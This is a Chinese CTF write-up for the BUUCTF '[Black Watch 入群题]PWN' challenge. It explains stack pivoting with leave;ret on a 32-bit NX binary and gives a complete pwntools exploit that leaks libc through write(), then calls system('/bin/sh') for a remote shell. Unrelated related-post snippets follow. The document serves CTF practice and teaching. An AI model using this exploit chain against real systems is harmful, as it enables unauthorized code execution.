[Black Watch 入群题]PWN 栈劫持的利用
32位程序,开启了nx保护
没有system函数和‘/bin/sh’的字符串,这边需要我们自己去想办法构造system(‘/bin/sh’)
思路
第一次输入的参数s,那边我们可以写入很长的数据,我们可以将我们的rop链布置在那里, 接着执行第二次输入,利用站劫持,把程序的执行流程劫持到第一次输入的位置就可以了
站劫持利用
做栈劫持主要用到的是一个leave;ret指令,一般程序执行完成后都会调用leave;ret来还原现场
payload1=‘a’*0x18+p32(s-4)+p32(leave_ret)
给buf参数赋值的时候,溢出后将ebp覆写成s-4的地址,函数返回地址覆写成leave;ret指令的地址
理一下这样写程序的执行过程:
首先程序正常结束了,去调用程序本身的leave;ret来还原现场,
根据我们对栈的布局,
mov esp,ebp
->将rsp指向了rbp,栈变成了这个样子
pop ebp->ebp
寄存器被我们设置成了参数s-4的地址,指向了我们布置好的栈上方,这边-4是因为我们第二次执行pop ebp给ebp赋值的时候,会将rsp+4,如果不减去4,esp就在程序一开始的时候指向的不是栈顶,而是栈顶+4的位置,我们之后读取数据会丢失一开始的4字节,所以需要一开始的时候将指针往上抬4字节,栈变成了这个样子
ret(pop rip)->去调用leave;ret指令
再次执行leave;ret指令
mov esp,ebp->esp指向了参数s-4的位置,栈布局现在是这样
pop ebp->弹出栈顶的值给ebp,esp+4
向下一步执行之后栈变成了这样,我们成功将esp指针劫持到了我们布置好的栈上
ret(pop rip)->将esp指向的输值弹给rip
接下来它就会去执行我们布置好的泄露libc的步骤,我们去接收它输出的write函数地址,就知道了libc版本,接下来就能去构造system(’/bin/sh‘)了,接下来在重复一下上述的控制流程,就能拿到shell了
from pwn import *from LibcSearcher import *#p=process('./spwn')r=remote('node4.buuoj.cn',29955)elf=ELF('./spwn')write_plt=elf.plt['write']write_got=elf.got['write']main=0x8048513s=0x0804A300leave_ret=0x08048408payload=p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)r.recvuntil("What is your name?")r.send(payload)payload1='a'*0x18+p32(s-4)+p32(leave_ret)r.recvuntil("What do you want to say?")r.send(payload1)write_addr=u32(r.recv(4))libc=LibcSearcher('write',write_addr)libc_base=write_addr-libc.dump('write')system=libc_base+libc.dump('system')sh=libc_base+libc.dump('str_bin_sh')r.recvuntil("name?")payload=p32(system)+p32(0)+p32(sh)r.sendline(payload)r.recvuntil("say?")r.sendline(payload1)r.interactive()
[Black Watch 入群题]PWN 栈劫持的利用相关推荐
- [BUUCTF-pwn]——[Black Watch 入群题]PWN
[BUUCTF-pwn]--[Black Watch 入群题]PWN 题目地址: https://buuoj.cn/challenges#[Black Watch 入群题]PWN leave = mo ...
- [BUUCTF]PWN——ciscn_2019_es_2(栈劫持)
32位程序,开启了nx保护 有个后门函数,但是需要把 system里面的 "echo flag" 修改为 bin/sh 才可以利用 这里可以得到 system 的地址; vul函数 ...
- 《LeetCode力扣练习》第155题 最小栈 Java
<LeetCode力扣练习>第155题 最小栈 Java 一.资源 题目: 设计一个支持 push ,pop ,top 操作,并能在常数时间内检索到最小元素的栈. 实现 MinStack ...
- 牛客题霸 [栈和排序] C++题解/答案
牛客题霸 [栈和排序] C++题解/答案 题目描述 给你一个1->n的排列和一个栈,入栈顺序给定 你要在不打乱入栈顺序的情况下,对数组进行从大到小排序 当无法完全排序时,请输出字典序最大的出栈序 ...
- 【DBA充电宝】和【Python充电宝】DBA充电宝和Python充电宝微信群已建立,可加我微信(lhrbestxh)入群...
好消息,[DBA充电宝●微信群]和[Python学习微信群]都已建立,人数过多,不能扫码加入.想加入的新朋友可以加我微信(lhrbestxh,添加好友时请输入"加入DBA充电宝"或 ...
- 【通知】有三AI书籍和文化产品读者欢迎入群,送4本书!
端午假期我们就不给大家推送新的技术文章了,今日邀请大家进入一个早就应该存在的群,"有三AI书籍和文化产品群".时至今日,有三AI生态平台已经出了两本书和多套文化产品,本次邀请相关用 ...
- 栈劫持(栈迁移)介绍
栈劫持 栈劫持也可以称为栈迁移,用来解决栈本身可以利用的空间不够用,一般是溢出空间不够 用,没办法有效构造rop链.这个时候我们可以通过劫持ebp的方式,利用leave 和 ret两个汇编指令来做 到 ...
- 平均 3000-20000 块不等,有空接外包私活的入群!
知乎上这个被浏览了948,816次的问题,看得我真是抓心挠肝: 都2021年了,居然还有兄弟不知道接外包赚外快的活路吗?! 根据自己的时间安排自由接活.开发方式可以选远程还是驻地,最后,只要你的项目够 ...
- 限时福利:入群锁定大会直播+PPT,听百位 AI 技术大咖、20 大热门主题分享!...
文 / Aholiab 2020 年 7 月 3-4 日,由 CSDN 发起的「百万人学AI」倡议下,AI 开发者万人大会(AI ProCon 2020)将在线上正式与大家见面!届时,来自行业内 70 ...
最新文章
- pytorch的backward
- 如何学习大数据!!我要做大数据!
- Dataset之谷歌地图数据集:谷歌地图数据集的简介、安装、使用方法之详细攻略
- php中url编码地址栏,php url地址栏传中文乱码解决方法集合_PHP
- 用100行python代码发现语音识别文本错误词,并将结果和正确词一一对应
- 僵尸进程孤儿进程与守护进程
- rss spring 接口_spring 接口支持返回多种格式
- easyui加载后台数据 笔记
- 梯度消失与梯度爆炸----解决方案(一)
- delphi报列表索引越界怎么处理_深入了解散列表
- halo输入QQ号获取QQ头像和名称
- Power Apps 创建响应式布局
- 5G牌照都发完了,那些传说中的5G手机Ready了吗?
- 计算机专业课堂教学,计算机专业网络与课堂教学整合
- 数据仓库架构以及多维数据模型的设计
- SpringMVC总结笔记
- elementUI table表格合并相同的内容
- CFileDialog类学习
- MATLAB-Simulink中BusCreator/Selector 和 Mux/Demux有什么区别?
- Wannafly挑战赛27